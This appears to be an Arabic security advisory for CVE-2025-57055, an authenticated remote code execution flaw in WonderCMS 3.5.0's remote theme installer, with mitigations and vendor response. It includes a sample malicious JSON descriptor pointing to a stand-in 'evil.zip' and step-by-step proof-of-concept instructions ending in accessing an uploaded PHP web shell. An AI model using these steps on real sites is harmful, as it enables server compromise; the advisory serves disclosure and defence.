CVE-2025-57055: تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة في WonderCMS 3.5.0

آلية الثغرة

توجد ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) بعد المصادقة في WonderCMS الإصدار 3.5.0.

تنبع المشكلة من كيفية تعامل التطبيق مع التثبيت عن بُعد للسمات/الوحدات عبر ملفات وصف JSON. عندما يرسل مسؤول ملف JSON عن بُعد يشير إلى أرشيف ZIP، يتم استخراج محتوياته إلى دليل يمكن الوصول إليه عبر الويب (مثل /themes/). إذا احتوى ملف ZIP على ملف PHP، يصبح هذا الملف متاحًا عبر الويب وقد يتم تنفيذه.

يطرح هذا السلوك خطر RCE بسبب:

• عدم وجود تحقق أو تنظيف لمحتويات ZIP.
• عدم وجود قيود على أنواع الملفات المستخرجة من مصادر عن بُعد.
• إمكانية الوصول عبر الويب إلى أدلة السمات/الإضافات.

ملاحظة: مطلوب مصادقة المسؤول، لكن التثبيتات الافتراضية تكشف كلمة مرور المسؤول علنًا (في الصفحة الرئيسية)، وتستخدم تسجيل دخول بكلمة مرور فقط، ولا تفرض ضوابط مصادقة قوية.

معايير قبول أوصاف الوحدات/السمات عن بُعد

سيقبل WonderCMS ويحاول تثبيت الوحدات/السمات عن بُعد إذا كان وصف JSON المُرسَل يطابق تنسيق wcms-modules.json المتوقع. سيتم جلب الوصف الذي يجتاز فحص التنسيق (ويشير إلى أرشيف ZIP) واستخراج محتويات أرشيفه إلى دليل يمكن الوصول إليه عبر الويب (مثل /themes/<name>/) دون مزيد من التحقق من أنواع الملفات.

مثال على الوصف:

{
  "themes": {
    "SSRF": {
      "name": "FAKE",
      "repo": "https://example.com/",
      "zip": "https://example.com/evil.zip",
      "summary": "test",
      "version": "1.0.0",
      "image": "https://example.com/fake.png"
    }
  }
}

إثبات المفهوم (PoC)

تحذير: لا تقم بالتشغيل على الأنظمة الإنتاجية. استخدم فقط بيئات الاختبار المصرح بها.

1. احصل على كلمة مرور المسؤول من الصفحة الرئيسية المكشوفة علنًا لتثبيت WonderCMS الافتراضي.

2. سجّل الدخول إلى لوحة الإدارة.

3. انتقل إلى قسم تثبيت السمات.

4. قدّم عنوان URL لوصف JSON خبيث (مثلًا، مستضاف على خادم يتحكم فيه المهاجم).

5. ابدأ التثبيت. سيقوم الخادم بالآتي:

• جلب الوصف.
• تنزيل أرشيف ZIP المحدد.

6. ثبّت السمة الخبيثة التي تم تنزيلها.

7. الوصول إلى غلاف PHP المستخرج (مثل http://target.com/themes/<Theme_Name>/shell.php) لتنفيذ أوامر عشوائية.

(ملاحظة: نفّذ هذه الخطوات فقط في بيئة اختبار خاضعة للتحكم. استغلال هذه الثغرة على أنظمة حية دون إذن يُعدّ غير قانوني.)

استجابة الجهة المطوِّرة

• تم الإبلاغ عن الثغرة إلى القائمين على صيانة WonderCMS في يوليو 2025.

• أقرّ القائمون على الصيانة بالتقرير لكنهم أشاروا إلى أن هذا السلوك، من وجهة نظرهم، مقبول بالنسبة للمسؤولين.

إرشادات التخفيف

لتقليل التعرض للخطر:

• قيّد قدرات التثبيت عن بُعد على المصادر الموثوقة (مثل GitHub فقط).
• تحقق من محتويات ZIP ونظّفها قبل الاستخراج.
• حصّن المصادقة:
  • إخفاء كلمة مرور المسؤول بعد التثبيت.
  • فرض تسجيل الدخول باسم المستخدم/كلمة المرور.
  • تفعيل المصادقة متعددة العوامل (إن كانت متاحة).
• منع الوصول إلى الملفات القابلة للتنفيذ داخل themes/ أو plugins/ عبر إعدادات الخادم.

المراجع

• WonderCMS على GitHub
• OWASP A05:2021 – سوء الإعداد الأمني
• CWE-434 – رفع ملف دون قيود بنوع خطير

إخلاء مسؤولية

تُقدَّم هذه المعلومات لأغراض البحث الأمني الدفاعي والتعليم. احصل دائمًا على التفويض المناسب قبل اختبار الثغرات أو الكشف عنها.